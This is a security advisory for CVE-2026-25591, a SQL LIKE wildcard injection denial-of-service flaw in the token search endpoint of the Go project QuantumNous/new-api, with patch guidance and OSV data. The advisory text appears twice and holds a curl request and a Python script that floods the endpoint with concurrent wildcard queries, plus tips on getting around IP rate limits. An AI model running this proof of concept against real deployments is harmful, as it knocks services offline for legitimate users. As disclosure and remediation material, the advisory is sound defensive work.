CVE-2026-25591: Github.com/QuantumNous/new api Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-w6x6-9fp7-fqm4
CWE-943
Published
Advisory Summary

CVE-2026-25591 is a HIGH denial of service vulnerability (CWE-943: Improper Neutralization of Special Elements in Data Query Logic) affecting Github.com/QuantumNous/new api libraries in the Go ecosystem. The issue involves new api has an sql like wildcard injection dos via token search. Remediation is available by upgrading affected packages to version 0.10.8-alpha.10.

CVE-2026-25591 at a Glance

CVE Identifier CVE-2026-25591
GHSA Identifier GHSA-w6x6-9fp7-fqm4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Affected Product Github.com/QuantumNous/new api
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-25591

To remediate this vulnerability, upgrade all affected Github.com/QuantumNous/new api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/QuantumNous/new-api fixed: 0.10.8-alpha.10
Upgrade github.com/QuantumNous/new-api to 0.10.8-alpha.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/QuantumNous/new-api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25591, inspect your project dependencies for Github.com/QuantumNous/new api:

inspect dependencies for github.com/QuantumNous/new-api

Analyze the terminal output to locate any version of Github.com/QuantumNous/new api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.8-alpha.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic, where the product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. In Github.com/QuantumNous/new api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns. ### Details The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries. ### Vulnerable Code File: `model/token.go:70` ```go err = DB.Where("user_id = ?", userId). Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping Where(commonKeyCol+" LIKE ?", "%"+token+"%"). Find(&tokens).Error ``` ### PoC After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches. <img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" /> These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted: ```bash # A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly. curl 'http://localhost:3000/api/token/search?keyword=%&token=' ``` <img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" /> It will cause DoS. ```python import requests from concurrent.futures import ThreadPoolExecutor def attack(session_cookie): requests.get( 'http://localhost:3000/api/token/search', params={'keyword': '%_%_%_%_%_%', 'token': ''}, cookies={'session': session_cookie}, headers={'New-API-User': '1'} ) # Launch 50 concurrent malicious requests with ThreadPoolExecutor(max_workers=50) as executor: for _ in range(50): executor.submit(attack, '<valid_session>') ``` ### Impact **Availability** RAM Overflow <img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" /> Postgres unavailable <img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" /> - Database CPU usage spike to 100% - Application memory exhaustion - Legitimate user requests blocked or significantly delayed - Potential application crash or database connection pool exhaustion ### Database Performance Testing with 2,000,000 tokens: | Pattern | Query Time | Rows | Impact | |---------|-----------|------|--------| | `test` (normal) | ~50ms | 0 | Low | | `%` (full scan) | 5,973ms | 2,000,000 | High | | `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High | ### Attack Scalability - **Single attacker**: Can launch 10-50 concurrent requests easily - **Multiple accounts**: Attacker can register multiple accounts (if registration enabled) - **Proxy rotation**: IP-based rate limiting can be bypassed - **Persistence**: Attack can be sustained indefinitely ### Resource Consumption Each malicious request with 2M results: - **Database**: ~6 seconds CPU time - **Network**: ~200MB data transfer - **Application Memory**: ~200MB+ for JSON serialization - **Connection Time**: Database connection held for entire query duration ## Exploitation Scenario 1. Attacker registers or compromises a regular user account 2. Attacker crafts malicious LIKE patterns using `%` wildcards 3. Attacker launches concurrent requests (50-200 concurrent) 4. Database becomes overwhelmed with slow queries 5. Application memory exhausts from processing large result sets 6. Legitimate users experience service degradation or complete unavailability ## Patch Recommendations ### 1. Escape LIKE Wildcards (Critical) ```go func escapeLike(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "%", "\\%") s = strings.ReplaceAll(s, "_", "\\_") return s } func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) { keyword = escapeLike(keyword) token = strings.Trim(token, "sk-") token = escapeLike(token) err = DB.Where("user_id = ?", userId). Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%"). Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%"). Limit(1000). Find(&tokens).Error return tokens, err } ``` ### 2. Add User-Level Rate Limiting ```go tokenRoute.GET("/search", middleware.TokenSearchRateLimit(), // 30 req/min per user controller.SearchTokens) ``` ### 3. Add Query Timeout ```go ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() err = DB.WithContext(ctx).Where(...).Find(&tokens).Error ```

CVE-2026-25591 Affected Github.com/QuantumNous/new api Versions

1 component(s)
Fixed Versions:
0.10.8-alpha.10
Product / Package Ecosystem Affected Versions Fixed Version
github.com/QuantumNous/new-api
Go
< 0.10.8-alpha.10
0.10.8-alpha.10

References

Frequently Asked Questions

What is CVE-2026-25591?
CVE-2026-25591 is a security vulnerability in Github.com/QuantumNous/new api involving New API has an SQL LIKE Wildcard Injection DoS via Token Search under CWE-943: Improper Neutralization of Special Elements in Data Query Logic.
Which Github.com/QuantumNous/new api versions are affected?
Affected versions include releases prior to 0.10.8-alpha.10 across affected packages: github.com/QuantumNous/new-api.
What version fixes CVE-2026-25591?
Upgrading to 0.10.8-alpha.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/QuantumNous/new-api affected?
Yes, github.com/QuantumNous/new-api is affected in releases prior to 0.10.8-alpha.10. Upgrade your dependency to 0.10.8-alpha.10 or later.
What CWE is associated with CVE-2026-25591?
CVE-2026-25591 is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic (The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.).
How can I check Go dependencies for CVE-2026-25591?
Run the dependency tree command: 'inspect dependencies for github.com/QuantumNous/new-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w6x6-9fp7-fqm4",
  "modified" : "2026-02-27T21:42:31Z",
  "published" : "2026-02-23T21:56:47Z",
  "aliases" : [ "CVE-2026-25591" ],
  "summary" : "New API has an SQL LIKE Wildcard Injection DoS via Token Search",
  "details" : "### Summary\nA SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.\n\n### Details\nThe token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.\n\n### Vulnerable Code\nFile: `model/token.go:70`\n```go\nerr = DB.Where(\"user_id = ?\", userId).\n       Where(\"name LIKE ?\", \"%\"+keyword+\"%\").     // No wildcard escaping\n       Where(commonKeyCol+\" LIKE ?\", \"%\"+token+\"%\").\n       Find(&tokens).Error\n```\n\n### PoC\n\nAfter creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.\n\n<img width=\"1636\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6\" />\n\nThese data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:\n\n```bash\n# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.\ncurl 'http://localhost:3000/api/token/search?keyword=%&token='\n```\n\n<img width=\"491\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124\" />\n\nIt will cause DoS.\n\n```python\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef attack(session_cookie):\n    requests.get(\n        'http://localhost:3000/api/token/search',\n        params={'keyword': '%_%_%_%_%_%', 'token': ''},\n        cookies={'session': session_cookie},\n        headers={'New-API-User': '1'}\n    )\n\n# Launch 50 concurrent malicious requests\nwith ThreadPoolExecutor(max_workers=50) as executor:\n    for _ in range(50):\n        executor.submit(attack, '<valid_session>')\n```\n\n### Impact\n**Availability**\n\nRAM Overflow\n\n<img width=\"1078\" height=\"145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149\" />\n\nPostgres unavailable\n\n<img width=\"772\" height=\"185\" alt=\"image\" src=\"https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b\" />\n\n- Database CPU usage spike to 100%\n- Application memory exhaustion\n- Legitimate user requests blocked or significantly delayed\n- Potential application crash or database connection pool exhaustion\n\n### Database Performance\n\nTesting with 2,000,000 tokens:\n\n| Pattern | Query Time | Rows | Impact |\n|---------|-----------|------|--------|\n| `test` (normal) | ~50ms | 0 | Low |\n| `%` (full scan) | 5,973ms | 2,000,000 | High |\n| `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |\n\n### Attack Scalability\n\n- **Single attacker**: Can launch 10-50 concurrent requests easily\n- **Multiple accounts**: Attacker can register multiple accounts (if registration enabled)\n- **Proxy rotation**: IP-based rate limiting can be bypassed\n- **Persistence**: Attack can be sustained indefinitely\n\n### Resource Consumption\n\nEach malicious request with 2M results:\n- **Database**: ~6 seconds CPU time\n- **Network**: ~200MB data transfer\n- **Application Memory**: ~200MB+ for JSON serialization\n- **Connection Time**: Database connection held for entire query duration\n\n## Exploitation Scenario\n\n1. Attacker registers or compromises a regular user account\n2. Attacker crafts malicious LIKE patterns using `%` wildcards\n3. Attacker launches concurrent requests (50-200 concurrent)\n4. Database becomes overwhelmed with slow queries\n5. Application memory exhausts from processing large result sets\n6. Legitimate users experience service degradation or complete unavailability\n\n ## Patch Recommendations\n### 1. Escape LIKE Wildcards (Critical)\n```go\nfunc escapeLike(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \"%\", \"\\\\%\")\n    s = strings.ReplaceAll(s, \"_\", \"\\\\_\")\n    return s\n}\n\nfunc SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {\n    keyword = escapeLike(keyword)\n    token = strings.Trim(token, \"sk-\")\n    token = escapeLike(token)\n\n    err = DB.Where(\"user_id = ?\", userId).\n           Where(\"name LIKE ? ESCAPE '\\\\\\\\'\", \"%\"+keyword+\"%\").\n           Where(commonKeyCol+\" LIKE ? ESCAPE '\\\\\\\\'\", \"%\"+token+\"%\").\n           Limit(1000).\n           Find(&tokens).Error\n    return tokens, err\n}\n```\n\n### 2. Add User-Level Rate Limiting\n```go\ntokenRoute.GET(\"/search\",\n    middleware.TokenSearchRateLimit(),  // 30 req/min per user\n    controller.SearchTokens)\n```\n\n### 3. Add Query Timeout\n```go\nctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\ndefer cancel()\nerr = DB.WithContext(ctx).Where(...).Find(&tokens).Error\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/QuantumNous/new-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.10.8-alpha.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/QuantumNous/new-api/security/advisories/GHSA-w6x6-9fp7-fqm4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25591"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QuantumNous/new-api/commit/3e1be18310f35d20742683ca9e4bf3bcafc173c5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/QuantumNous/new-api"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QuantumNous/new-api/releases/tag/v0.10.8-alpha.10"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4531"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-943" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-23T21:56:47Z",
    "nvd_published_at" : "2026-02-24T01:16:13Z"
  }
}